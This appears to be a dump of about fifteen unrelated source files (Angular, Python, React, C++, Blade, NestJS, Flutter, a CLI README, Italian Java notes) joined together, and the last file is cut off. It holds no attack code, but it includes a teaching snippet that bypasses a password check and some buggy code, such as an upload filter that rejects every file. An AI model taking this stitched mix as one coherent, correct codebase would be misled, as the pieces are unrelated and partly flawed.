get specialPrice(){
// this.MerchentForm.controls['specialPrice'].setValue(parseInt(this.MerchentForm.controls['specialPrice'].value));
// return this.MerchentForm.get("specialPrices")?.get('specialPrice');
return this.MerchentForm.get("specialPrice");
}
get specialGovernorateId(){
// this.MerchentForm.controls['specialGovernorateId'].setValue(parseInt(this.MerchentForm.controls['specialGovernorateId'].value));
// return this.MerchentForm.get("specialPrices")?.get('specialGovernorateId');
return this.MerchentForm.get("specialGovernorateId");
}
get specialCityId(){
// this.MerchentForm.controls['specialCityId'].setValue(parseInt(this.MerchentForm.controls['specialCityId'].value));
// return this.MerchentForm.get("specialPrices")?.get('specialCityId');
return this.MerchentForm.get("specialCityId");
}
// get specialPrice(){
// const price = this.MerchentForm.get("specialPrices")?.get('specialPrice')?.value;
// return typeof price === 'string' ? parseInt(price) : price;
// }
} |
import streamlit as st
import os
from moviepy.editor import *
from pytube import YouTube
from youtubesearchpython import VideosSearch
OUTPUT_PATH = "static/mashup/"
def fetch_video_clips(artist_name, num_clips):
"""
Retrieve video clips from YouTube based on the artist's name.
"""
prefix = "https://www.youtube.com/watch?v="
search_results = VideosSearch(artist_name, limit=num_clips).result()["result"]
video_urls = [prefix + result["id"] for result in search_results]
return video_urls
def download_video_clip(video_url, save_path=OUTPUT_PATH):
"""
Download a video clip from YouTube.
"""
save_dir = os.path.join(save_path, "clips")
yt = YouTube(video_url)
video = yt.streams.first()
video_title = video.default_filename.replace(" ", "_")
video.download(save_dir, video_title)
return video_title
def convert_to_audio(video_title, save_path=OUTPUT_PATH):
"""
Convert a video clip to an audio file.
"""
audio_save_path = save_path
video_path = os.path.join(save_path, "clips", video_title)
audio_path = os.path.join(audio_save_path, f"{video_title.split('.')[0]}.mp3")
video_clip = VideoFileClip(video_path)
audio_clip = video_clip.audio
audio_clip.write_audiofile(audio_path)
audio_clip.close()
video_clip.close()
return audio_path
def trim_audio_file(audio_path, duration):
"""
Trim an audio file to the specified duration.
"""
audio_clip = AudioFileClip(audio_path)
audio_clip = audio_clip.subclip(0, duration)
trimmed_audio_path = audio_path[:-4] + "_trimmed.mp3"
audio_clip.write_audiofile(trimmed_audio_path)
audio_clip.close()
def download_and_process_video_clip(video_url, save_path, duration):
"""
Download a video clip, convert it to audio, and trim it.
"""
clip_title = download_video_clip(video_url, save_path)
audio_title = convert_to_audio(clip_title, save_path)
trim_audio_file(audio_title, duration)
def merge_audio_files(artist_name, save_path=OUTPUT_PATH, output_filename="mashup.mp3"):
"""
Merge trimmed audio files into a single audio file.
"""
final_audio_path = os.path.join(save_path, output_filename)
audio_files = [os.path.join(save_path, audio) for audio in os.listdir(save_path) if audio.endswith("trimmed.mp3")]
audio_clips = [AudioFileClip(audio) for audio in audio_files]
final_clip = concatenate_audioclips(audio_clips)
final_clip.write_audiofile(final_audio_path)
final_clip.close()
return final_audio_path
def create_mashup(artist_name, num_clips, duration, output_filename):
"""
Create a mashup by fetching, processing, and merging video clips.
"""
save_path = os.path.join(OUTPUT_PATH, artist_name)
video_urls = fetch_video_clips(artist_name, num_clips)
for url in video_urls:
download_and_process_video_clip(url, save_path, duration)
mashup_path = merge_audio_files(artist_name, save_path, output_filename)
return mashup_path
def main():
"""
Main function for the Streamlit application.
"""
st.title("YouTube Mashup Creator")
artist_name = st.text_input("Enter Artist Name:")
num_clips = st.number_input("Number of Clips:", min_value=1, step=1)
duration = st.number_input("Duration (seconds):", min_value=1, step=1)
output_filename = st.text_input("Output Filename:")
if not output_filename.endswith("trimmed.mp3"):
output_filename += ".mp3"
if st.button("Create Mashup"):
mashup_path = create_mashup(artist_name, num_clips, duration, output_filename)
st.success("Mashup created successfully!")
st.download_button(label="Download Mashup", data=open(mashup_path, 'rb'), file_name=output_filename)
if __name__ == "__main__":
main() |
import { MdxLayout } from "components/mdx-layout.tsx";
export const meta = {
slug: "feature-report-improvements",
publishedAt: "2023-01-20T09:00:00.000Z",
title: "Adding some magic to the feature report",
headerImage:
"https://june-changelog.s3.eu-central-1.amazonaws.com/feature-report-improvements/header.png",
authors: [
{
name: "Alberto Incisa della Rocchetta",
description: "Product & Growth",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/dscf5588_2_6dcd0ce29c.jpg",
},
{
name: "Ferruccio Balestreri",
description: "Engineer",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/Gut_Ec_N_Ky_400x400_0c189fcaa5.jpg",
},
{
name: "Alice Clavel",
description: "Engineer",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/alice_clavel_d41351cbdc.jpeg",
},
{
name: "Daniel Beere",
description: "Designer",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/T01_AS_9_R1_RDL_U03_C1_S7_F5_A5_90609690daa6_512_5071aad8fc.jpeg",
},
{
name: "Adis Banda",
description: "Engineer",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/IMG_3227_939da5481a.PNG",
},
{
name: "Vinayak Mehta",
description: "Engineer",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/T01_AS_9_R1_RDL_U01_F830_FTC_7_94c9c8095b13_512_893705b288.jpeg",
},
{
name: "Enzo Avigo",
description: "Product",
avatarUrl:
"https://june-changelog.s3.eu-central-1.amazonaws.com/O_Doeqb_IW_400x400_47f624ed6e.jpg",
},
],
};
Before starting June I was a product engineer at Intercom. Our team was building the messaging capabilities (email, chat messages and push notifications) and we spent 2 years working on a massive revamp of the underlying logic of how the product works.
When we launched the new system we all got into a room. The PMs brought pizzas and donuts and we all celebrated as a team. It was a great moment. We had worked hard and we were proud of what we had achieved.
We created Datadog dashboards to measure usage, and received in Slack updates of the first users using the new system. We were all excited to see our work finally getting into the hands of our customers.
When starting June what me and Enzo realised is that the current tools we use to measure the impact of our work are just dumb calculators. They are built to answer the most complex questions, but are sometimes not able to answer the simplest ones. They also seem to be built in a vacuum, without any consideration of the people who will use them.
So this week with all the team we decided to take a step back from what we normally build. We decided to try and add some donuts and pizza to our dashboards. Give them some personality. Make them work like product teams work.
## Company level adoption
Our first step to improve the way we help B2B companies measure the impact of their work was to add support for the feature report at a company level.
This is now in line with almost all the other reports we have. It allows you to see the adoption of a feature across all the users and companies using your product.
Now you can finally answer questions like know what's companies
## Achievements and celebrations
We added a new section to the feature report to celebrate the achievements of your team. Every time you launch something new you can now track your progress. Both in terms of adoption and usage of the feature.
Symbolic milestones like reaching the first 100 users are fun to celebrate. They're an easy way to get everyone on the team excited about the work they're doing.
Often times product teams aren't able to stay close to the users. They don't get to see the impact of their work. This is why we added a section to the feature report to celebrate the achievements of your team.
## Auto-generated feature reports
For new users we now automatically create feature reports from your events (excluding the ones that are too generic like `user created` or `user signed up`).
This is a great way to get started with the product. It allows you to see the adoption of your product without having to do any work.
This is a great addition to the other improvement we shipped last week which allows you to create a feature report in one click once you started sending a new event.
**Other improvements**
- Added a default suggested filter to all reports excluding the domain email of the person creating the report
export default ({ children, ...rest }) => (
<MdxLayout meta={meta} {...rest}>
{children}
</MdxLayout>
); |
//------------------------------------------------------------------------------
// @file: AccessCmd.hh
// @author: Fabio Luchetti - CERN
//------------------------------------------------------------------------------
/************************************************************************
* EOS - the CERN Disk Storage System *
* Copyright (C) 2018 CERN/Switzerland *
* *
* This program is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program. If not, see <http://www.gnu.org/licenses/>.*
************************************************************************/
#pragma once
#include "mgm/Namespace.hh"
#include "proto/Access.pb.h"
#include "mgm/proc/ProcCommand.hh"
EOSMGMNAMESPACE_BEGIN
//------------------------------------------------------------------------------
//! Process a rule key by converting the given username to a uid if necessary
//!
//! @param key input key
//!
//! @return processed key to be used internally by the MGM
//------------------------------------------------------------------------------
std::string ProcessRuleKey(const std::string& key);
//------------------------------------------------------------------------------
//! Class AccessCmd - class handling config commands
//------------------------------------------------------------------------------
class AccessCmd: public IProcCommand
{
public:
//----------------------------------------------------------------------------
//! Constructor
//!
//! @param req client ProtocolBuffer request
//! @param vid client virtual identity
//----------------------------------------------------------------------------
explicit AccessCmd(eos::console::RequestProto&& req,
eos::common::VirtualIdentity& vid)
: IProcCommand(std::move(req), vid, false)
{
}
//----------------------------------------------------------------------------
//! Destructor
//----------------------------------------------------------------------------
~AccessCmd() override = default;
//----------------------------------------------------------------------------
//! Method implementing the specific behaviour of the command executed by the
//! asynchronous thread
//----------------------------------------------------------------------------
eos::console::ReplyProto ProcessRequest() noexcept override;
private:
//----------------------------------------------------------------------------
//! Execute ls subcommand
//!
//! @param ls ls subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void LsSubcmd(const eos::console::AccessProto_LsProto& ls,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute rm subcommand
//!
//! @param rm rm subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void RmSubcmd(const eos::console::AccessProto_RmProto& rm,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute set subcommand
//!
//! @param set set subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void SetSubcmd(const eos::console::AccessProto_SetProto& set,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute ban subcommand
//!
//! @param ban ban subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void BanSubcmd(const eos::console::AccessProto_BanProto& ban,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute unban subcommand
//!
//! @param unban unban subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void UnbanSubcmd(const eos::console::AccessProto_UnbanProto& unban,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute allow subcommand
//!
//! @param allow allow subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void AllowSubcmd(const eos::console::AccessProto_AllowProto& allow,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute unallow subcommand
//!
//! @param unallow unallow subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void UnallowSubcmd(const eos::console::AccessProto_UnallowProto& unallow,
eos::console::ReplyProto& reply);
//----------------------------------------------------------------------------
//! Execute stallhost subcommand
//!
//! @param stallhosts subcommand proto object
//! @param reply reply proto object
//----------------------------------------------------------------------------
void StallhostsSubcmd(const eos::console::AccessProto_StallHostsProto& stall,
eos::console::ReplyProto& reply);
void aux(const string& sid,
std::ostringstream& std_out, std::ostringstream& std_err,
int& ret_c);
};
EOSMGMNAMESPACE_END |
import { rest } from 'msw';
import { server } from './serverMock';
import { competitionToUpdate, competitionsStateSuccessMock, newCompetition } from '../testDataMocks/competitions';
const baseUrl = process.env.REACT_APP_API_BASE_URL;
const competitionsSuccessHandlers = [
rest.get(`${baseUrl}/competitions/all`, (req, res, ctx) => {
return res(
ctx.status(200),
ctx.json(competitionsStateSuccessMock.data.main)
);
}),
rest.get(`${baseUrl}/competitions/${competitionToUpdate._id}`, (req, res, ctx) => {
return res(
ctx.status(200),
ctx.json(competitionToUpdate)
);
}),
rest.get(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(200),
ctx.json(competitionsStateSuccessMock.data.main)
);
}),
rest.post(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(201),
ctx.json(newCompetition)
);
}),
rest.patch(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(200),
ctx.json(competitionToUpdate)
);
}),
rest.delete(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(200),
ctx.json(competitionsStateSuccessMock.data.main)
);
}),
];
const competitionsErrorHandlers = [
rest.get(`${baseUrl}/competitions/all`, (req, res, ctx) => {
return res(
ctx.status(500),
ctx.json({ error: 'Get All Competitions Error' })
);
}),
rest.get(`${baseUrl}/competitions/${competitionToUpdate._id}`, (req, res, ctx) => {
return res(
ctx.status(500),
ctx.json({ error: 'Get Competition Error' })
);
}),
rest.get(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(500),
ctx.json({ error: 'Get Competitions Error' })
);
}),
rest.post(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(500),
ctx.json({ error: 'Create Competition Error' })
);
}),
rest.patch(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(500),
ctx.json({ error: 'Update Competition Error' })
);
}),
rest.delete(`${baseUrl}/competitions`, (req, res, ctx) => {
return res(
ctx.status(500),
ctx.json({ error: 'Delete Competition Error' })
);
}),
];
export const setupCompetitionsSuccessHandlers = () => {
server.use(...competitionsSuccessHandlers);
};
export const setupCompetitionsErrorHandlers = () => {
server.use(...competitionsErrorHandlers);
}; |
/**
* Creates an Paginator object.
*/
class Paginator {
// List of records or items.
items;
// Max items per page.
itemsPerPage = 10;
// Div container with paginated items.
container;
// Div container with pagination controls.
controls;
currentPage = 1;
pages;
/**
* Split items into pages.
*/
paginate() {
this.pages = [];
while (this.items.length > 0) {
this.pages.push(this.items.splice(0, this.itemsPerPage));
}
this.changePage(this.currentPage);
}
/**
* Previous page.
*/
previousPage() {
if (this.currentPage != 1) {
this.currentPage--;
this.changePage(this.currentPage);
}
}
/**
* Next page.
*/
nextPage() {
if (this.currentPage != this.pages.length) {
this.currentPage++;
this.changePage(this.currentPage);
}
}
/**
* Change page.
* @param {*} page_num Page Number
*/
changePage(page_num) {
this.currentPage = page_num;
let paginator = this.container;
paginator.innerHTML = "";
// Append the item data to the container.
for (var item in this.pages[this.currentPage - 1]) {
paginator.innerHTML +=
`
${this.pages[this.currentPage - 1][item].id}<br>
`;
}
paginator.innerHTML += `<br>`;
// Add the controls.
let controls = this.controls;
controls.innerHTML = "";
// Previous button.
controls.innerHTML +=
`
<button onclick='paginator.previousPage()' style='width:auto;'>Previous</button>
`;
// Next button.
controls.innerHTML +=
`
<button onclick='paginator.nextPage()'>Next</button>
`;
}
} |
import PropTypes from "prop-types";
import { TextField } from "@mui/material";
import { useValidateField } from "../../hooks/useValidateField";
export default function DateTimeField({
fieldSchema,
value,
setField,
sx,
...rest
}) {
const isValid = useValidateField(fieldSchema, value);
return (
<TextField
aria-label={fieldSchema.label}
label={fieldSchema.label}
onChange={({ target: { value } }) => setField(value)}
value={value || ""}
required={fieldSchema.required}
size="small"
sx={{ mt: "10px", ...sx }}
error={!isValid}
{...rest}
/>
);
}
DateTimeField.propTypes = {
fieldSchema: PropTypes.object.isRequired,
value: PropTypes.string,
setField: PropTypes.func.isRequired,
sx: PropTypes.object,
}; |
import React from "react";
import { useNavigate } from "react-router-dom";
const NewsCard = ({ id, name, month, day, category, image }) => {
const navigate = useNavigate();
return (
<button
onClick={() => navigate("/single-post")}
className="relative pb-32"
>
<div className=" group ">
{/* image section */}
<div className="bgImage group overflow-hidden ">
<img
src={image}
className="w-full h-full group-hover:bg-black group-hover:opacity-60 group-hover:scale-125 transition-all object-cover duration-1000 "
alt=""
/>
</div>
{/* time section block */}
<div className="border-[0.5px] absolute top-5 left-5 text-white px-1 py-2">
<p className=" uppercase text-[12px] tracking-[2px] mb-1">{month}</p>
<h6 className=" uppercase text-[24px] tracking-[2px]">{day}</h6>
</div>
{/* text section */}
<div className=" bg-bgCoffee w-[91%] absolute left-4 top-[70%] group-hover:top-80 transition-all duration-500 z-50 py-2 px-5">
<h6 className="text-primary font-barlowCondensed text-[16px] tracking-[4px] py-2 uppercase ">
{category}
</h6>
<h2 className="text-white font-gilda text-[24px] mb-6">{name}</h2>
</div>
</div>
</button>
);
};
export default NewsCard; |
@extends('sabloni.app')
@section('naziv', 'Šifarnici | Spratovi')
@section('meni')
@include('sabloni.inc.meni')
@endsection
@section('naslov')
<h1 class="page-header">
<img alt="Šifarnik spratova" class="slicica_animirana"
src="{{url('/images/spratovi.jpg')}}" style="height:64px;">
 Spratovi
</h1>
@endsection
@section('sadrzaj')
@if($data->isEmpty())
<h3 class="text-danger">Trenutno nema stavki u šifarniku</h3>
@else
<table id="tabela" class="table table-striped" >
<thead>
<th style="width: 15%;">#</th>
<th style="width: 70%;">Naziv</th>
<th style="width: 15%;text-align:right"><i class="fa fa-cogs"></i> Akcije</th>
</thead>
<tbody>
@foreach ($data as $d)
<tr>
<td>{{$d->id}}</td>
<td><strong>{{ $d->naziv }}</strong></td>
<td style="text-align:right;">
<button class="btn btn-success btn-sm otvori-izmenu"
data-toggle="modal" data-target="#editModal"
value="{{$d->id}}">
<i class="fa fa-pencil"></i>
</button>
<button class="btn btn-danger btn-sm otvori-brisanje"
data-toggle="modal" data-target="#brisanjeModal"
value="{{$d->id}}">
<i class="fa fa-trash"></i>
</button>
</td>
</tr>
@endforeach
</tbody>
</table>
@endif
<!-- POCETAK brisanjeModal -->
@include('sifarnici.inc.modal_brisanje')
<!-- KRAJ brisanjeModal -->
{{-- Pocetak Modala za dijalog izmena--}}
<div class="modal fade" id="editModal" role="dialog">
<div class="modal-dialog modal-lg">
<!-- Modal content-->
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h2 class="modal-title text-primary">Izmeni stavku</h2>
</div>
<div class="modal-body">
<form action="{{ route('spratovi.izmena') }}" method="post">
{{ csrf_field() }}
<div class="form-group">
<label for="nazivModal">Naziv:</label>
<input type="text" class="form-control" id="nazivModal" name="nazivModal">
</div>
<input type="hidden" id="idModal" name="idModal">
<hr>
<div class="row dugmici" style="margin-top: 30px;">
<div class="col-md-12" >
<div class="form-group">
<div class="col-md-6 snimi">
<button id = "btn-snimi" type="submit" class="btn btn-success btn-block ono">
<i class="fa fa-save"></i> Snimi izmene
</button>
</div>
<div class="col-md-6">
<a class="btn btn-primary btn-block ono" data-dismiss="modal">
<i class="fa fa-ban"></i> Otkaži
</a>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
{{-- Kraj Modala za dijalog izmena--}}
@endsection
@section('traka')
<h4>Dodavanje spratova</h4>
<hr>
<div class="well">
<form action="{{ route('spratovi.dodavanje') }}" method="POST" data-parsley-validate>
{{ csrf_field() }}
<div class="form-group{{ $errors->has('naziv') ? ' has-error' : '' }}">
<label for="naziv">Naziv: </label>
<input type="text" name="naziv" id="naziv" class="form-control" value="{{ old('naziv') }}" required>
@if ($errors->has('naziv'))
<span class="help-block">
<strong>{{ $errors->first('naziv') }}</strong>
</span>
@endif
</div>
<div class="row dugmici">
<div class="col-md-12">
<div class="form-group text-right">
<div class="col-md-6 snimi">
<button type="submit" class="btn btn-success btn-block ono"><i class="fa fa-plus-circle"></i> Dodaj</button>
</div>
<div class="col-md-6">
<a class="btn btn-danger btn-block ono" href="{{route('spratovi')}}"><i class="fa fa-ban"></i> Otkaži</a>
</div>
</div>
</div>
</div>
</form>
</div>
@endsection
@section('skripte')
<script>
$( document ).ready(function() {
$('#tabela').DataTable({
dom: 'Bflrtip',
buttons: [
'copyHtml5',
'excelHtml5',
'csvHtml5',{
extend: 'pdfHtml5',
orientation: 'portrait',
pageSize: 'A4',
customize : function(doc){
doc.content[1].table.widths = ["100%"];
},
exportOptions: {
columns: [ 1 ]
}
}
],
columnDefs: [
{
orderable: false,
searchable: false,
"targets": -1
}
],
responsive: true,
stateSave: true,
language: {
search: "Pronađi u tabeli",
paginate: {
first: "Prva",
previous: "Prethodna",
next: "Sledeća",
last: "Poslednja"
},
processing: "Procesiranje u toku ...",
lengthMenu: "Prikaži _MENU_ elemenata",
zeroRecords: "Nije pronađen nijedan zapis za zadati kriterijum",
info: "Prikazano _START_ do _END_ od ukupno _TOTAL_ elemenata",
infoFiltered: "(filtrirano od _MAX_ elemenata)",
},
});
$(document).on('click', '.otvori-brisanje', function () {
var id = $(this).val();
$('#idBrisanje').val(id);
var ruta = "{{ route('spratovi.brisanje') }}";
$('#brisanje-forma').attr('action', ruta);
});
$(document).on('click','.otvori-izmenu',function(){
var id = $(this).val();
var ruta = "{{ route('spratovi.detalj') }}";
$.ajax({
url: ruta,
type:"POST",
data: {"id":id, _token: "{!! csrf_token() !!}"},
success: function(data){
$("#idModal").val(data.id);
$("#nazivModal").val(data.naziv);
}
});
});
});
</script>
@endsection |
# rh-aws-saml-login
[](https://github.com/astral-sh/ruff)
[][pypi-link]
[![PyPI platforms][pypi-platforms]][pypi-link]

A CLI tool that allows you to log in and retrieve AWS temporary credentials using Red Hat SAML IDP.

## Pre-requisites
- Python 3.11 or later
- Connected to Red Hat VPN
- A Red Hat managed computer (Kerberos must be installed and configured) and you are logged in with your Red Hat account
## How it works
The `rh-aws-saml-login` CLI is a tool that simplifies the process of logging into an AWS account via Red Hat SSO. It retrieves a SAML token from the Red Hat SSO server, then fetches and parses the AWS SSO login page to present you with a list of all available accounts and their respective roles. You can then choose your desired account and role, and `rh-aws-saml-login` uses the SAML token to generate temporary AWS role credentials. Finally, it spawns a new shell with the necessary `AWS_` environment variables already set up, so you can immediately use the `aws` CLI without any further configuration.
## Installation
On CSB Fedora, you need to install the Kerberos development package:
```shell
sudo dnf install krb5-devel
```
You can install this library from [PyPI][pypi-link] with `pip`:
```shell
python3 -m pip install rh-aws-saml-login
```
or install it with `pipx`:
```shell
pipx install rh-aws-saml-login
```
You can also use `pipx` to run the library without installing it:
```shell
pipx run rh-aws-saml-login
```
## Usage
```shell
rh-aws-saml-login
```
This spawns a new shell with the following environment variables are set:
- `AWS_ACCOUNT_NAME`: The name/alias of the AWS account
- `AWS_ROLE_NAME`: The name of the role
- `AWS_ROLE_ARN`: The ARN of the role
- `AWS_ACCESS_KEY_ID`: The access key used by the AWS CLI
- `AWS_SECRET_ACCESS_KEY`: The secret access key used by the AWS CLI
- `AWS_SESSION_TOKEN`: The session token used by the AWS CLI
- `AWS_REGION`: The default region used by the AWS CLI
## Features
rh-aws-saml-login currently provides the following features (get help with `-h` or `--help`):
- No configuration needed
- Uses Kerberos authentication
- Open the AWS web console for an account with the `--console` option
- Shell auto-completion (bash, zsh, and fish) including AWS account names
- Integrates nicely with the [starship](https://starship.rs)
```toml
[env_var.AWS_ACCOUNT_NAME]
format = "$symbol$style [$env_value]($style) "
style = "cyan"
symbol = "🚀"
```
## Development
[](https://github.com/astral-sh/ruff)
[](https://mypy-lang.org/)
- Update CHANGELOG.md with the new version number and date
- Bump the version number in [pyproject.toml](/pyproject.toml)
[pypi-link]: https://pypi.org/project/rh-aws-saml-login/
[pypi-platforms]: https://img.shields.io/pypi/pyversions/rh-aws-saml-login |
import { Module, NotFoundException } from '@nestjs/common';
import { MulterModule } from '@nestjs/platform-express';
import { diskStorage } from 'multer';
import * as mime from 'mime-types';
import { DiskStorageController } from './diskStorage.controller';
@Module({
imports: [
MulterModule.register({
storage: diskStorage({
destination(req, file, callback) {
// (3)
// callback 함수의 두번째 인자로 파일 저장 경로를 지정할 수 있습니다.
callback(null, './static');
},
filename(req, file, callback) {
// (4)
// callback 함수의 두번째 인자로 저장할 때, 파일 명을 지정할 수 있습니다.
callback(
null,
`${new Date().getTime()}.${mime.extension(file.mimetype)}`,
);
},
}),
// (1)
limits: {
fileSize: 1024 * 1024 * 5, // 5 MB
files: 1,
},
fileFilter(req, file, callback) {
// (2)
// limits에서 파일 사이즈와 같은 부분을 검증 후, 파일 타입과 같은 부분에 대한 검증을 진행합니다.
// 검증 진행 후, 정상적인 요청이면 callback의 두번쨰 인자로 true를 넣습니다.
callback(new NotFoundException('타입이 올바르지 않습니다.'), false);
},
}),
],
controllers: [DiskStorageController],
providers: [],
})
export class DistStorageModule {} |
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const context = canvas.getContext('2d');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({ video: true }).then(stream => {
video.srcObject = stream;
video.play();
// Attendre que la vidéo commence à jouer pour obtenir la taille
video.addEventListener('loadedmetadata', () => {
// Définir la taille du canvas selon la taille de la vidéo
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
});
});
}
document.getElementById('snap').addEventListener('click', () => {
// Dessiner l'image de la vidéo sur le canvas
context.drawImage(video, 0, 0, canvas.width, canvas.height);
// Convertir l'image du canvas en blob
canvas.toBlob(blob => {
const formData = new FormData();
formData.append('photo', blob, 'photo.png');
// Envoyer l'image au serveur
//fetch('http://localhost:3000/summarize/picture', {
fetch('http://localhost:3000/summarize/picture', {
method: 'POST',
body: formData
}).then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json();
})
.then(data => {
console.log(data)
const converter = new showdown.Converter();
document.getElementById('reponse').innerHTML = converter.makeHtml(data.summary);
})
.catch(error => console.error('Error:', error));
}, 'image/png');
}); |
---
Created: 2024-03-05
Programming language: "[[Java]]"
Related:
Completed:
---
---
## Index
- [[#Introduzione|Introduzione]]
- [[#Struttura|Struttura]]
- [[#Metodi statici]]
- [[#Perché il metodo main() è dichiarato static?]]
- [[#Metodi final]]
- [[#Metodi final#Esempio|Esempio]]
- [[#Esempi|Esempi]]
---
## Introduzione
Il miglior modo per sviluppare e mantenere un programma grande è di costruirlo da pezzi piccoli e semplici (principio del *divide et impera*). I metodi permettono di modularizzare un programma separandone i compiti in unità autocontenute.
Le istruzioni di un metodo non sono visibili da un altro metodo (ma possono essere riutilizzate in molti punti del programma). Tuttavia certi metodi non utilizzano lo stato dell’oggetto, ma si applicano all’intera classe (statici).
Un metodo è tipicamente **pubblico**, ovvero visibile a tutti. Il nome di un metodo per convenzione inizia con una lettera minuscola, mentre le parole seguenti iniziano con lettera minuscola (es. dimmiTuttoQuelloCheSai() ).
---
## Struttura
```java
public tipo_di_dati nomeDelMetodo(tipo_di_dati nomeParam1, ...) {
istruzione 1;
.
.
.
istruzione m
}
```
- `tipo_di_dati`
Indica il tipo di dato in output. Questo può essere `void` che indica che il metodo non restituisce alcun tipo di valore
- `nomeDelMetodo`
Indica l’identificatore del metodo che deve rispettare la convenzione *CamelCase*
- `(tipo_di_dati nomeParam1, ...)`
Elenco (eventualmente vuoi) dei nomi dei parametri con relativo tipo
---
## Metodi statici
I metodi statici sono metodi di classe. Questi NON hanno accesso ai campi di istanza ma solo ai campi di classe (ma da un metodo non statico posso accedere ad un campo static).
Posso accedere ad essi:
- **dall’interno** semplicemente chiamando il metodo
- **dall’esterno** `NomeClasse.nomeMetodo()` (non devo quindi istanziare alcun nuovo metodo nella heap)
```java
public class ContaIstanze {
static private int numberOfInstances;
public ContaIstanze() {
numberOfInstances++;
}
public static void main(String[] args) {
new ContaIstanze();
new ContaIstanze();
new ContaIstanze();
// accesso da metodo statico a campo statico
System.out.println("Istanze: "+numberOfInstances);
}
}
```
### Perché il metodo main() è dichiarato static?
La Java Virtual Machine invoca il metodo `main` della classe specificata ancora prima di aver creato qualsiasi oggetto.
La classe potrebbe non avere un costruttore senza parametri con cui creare l’oggetto
---
## Metodi final
La parola chiave `final` ci permette di impedire ad altri programmatori di:
- creare sottoclassi (se specificato di fronte a class)
- reimplementare (= sovrascrivere) certi metodi (di fronte all’intestazione del metodo)
### Esempio
Supponete di creare un conto corrente “sicuro” (accessibile solo tramite la giusta password)
```java
public class ContoCorrenteSicuro extends ContoCorrente {
public boolean controllaPassword(String password) {
// verifica della password
// ...
}
}
```
Tuttavia, estendendo la classe, possiamo “gabbare” l’utente che la userà e accedere noi al conto
```java
public class ContoCorrenteSicuroFidatiDiMe extends ContoCorrenteSicuro {
public boolean controllaPassword(String password) {
return true;
}
}
```
Possiamo evitare questo problema specificando il metodo final
```java
public class ContoCorrenteSicuro extends ContoCorrente {
// nessuno può sovrascrivere questo metodo
public final boolean controllaPassword(String password) {
// verifica della password
// ...
}
}
```
---
## Esempi
```java
public int getValue() { return value; }
public void reset(int newValue) { value = newValue; }
``` |
import 'package:flutter/material.dart';
import 'package:form_ui/core/themes.dart';
class CommonButton extends StatelessWidget {
final String text;
final Function()? func;
const CommonButton({
super.key,
required this.func,
required this.text,
});
@override
Widget build(BuildContext context) {
return FilledButton(
onPressed: func,
style: FilledButton.styleFrom(
backgroundColor: AppColor.primary,
foregroundColor: Colors.white,
shape: ContinuousRectangleBorder(
borderRadius: BorderRadius.circular(15),
),
fixedSize: const Size(350, 60),
),
child: Text(
text,
style: ThemeText.headingDark,
),
);
}
} |
import { Dialog, Transition } from "@headlessui/react";
import { Fragment } from "react";
import Image from "next/image";
import Link from "next/link";
import PropTypes from "prop-types";
import emailVerifPic from "../public/img/email-verification.jpg";
const EmailVerification = ({
isOpen = false,
email = "",
countdown,
onResend = () => {},
}) => {
return (
<Transition appear show={isOpen} as={Fragment}>
<Dialog
as="div"
className="fixed inset-0 z-10 overflow-y-auto h-full"
onClose={() => {}}
>
<div className="min-h-screen px-4 text-center h-full">
<Transition.Child
as={Fragment}
enter="ease-out duration-300"
enterFrom="opacity-0"
enterTo="opacity-100"
leave="ease-in duration-200"
leaveFrom="opacity-100"
leaveTo="opacity-0"
>
<Dialog.Overlay className="fixed h-full inset-0 bg-black opacity-70" />
</Transition.Child>
{/* This element is to trick the browser into centering the modal contents. */}
<span
className="inline-block h-screen align-middle"
aria-hidden="true"
>
​
</span>
<Transition.Child
as={Fragment}
enter="ease-out duration-300"
enterFrom="opacity-0 scale-95"
enterTo="opacity-100 scale-100"
leave="ease-in duration-200"
leaveFrom="opacity-100 scale-100"
leaveTo="opacity-0 scale-95"
>
<div
style={{ height: "90%" }}
className="inline-block w-full max-w-full p-6 my-8 overflow-hidden text-left align-middle transition-all transform bg-white shadow-xl rounded-2xl "
>
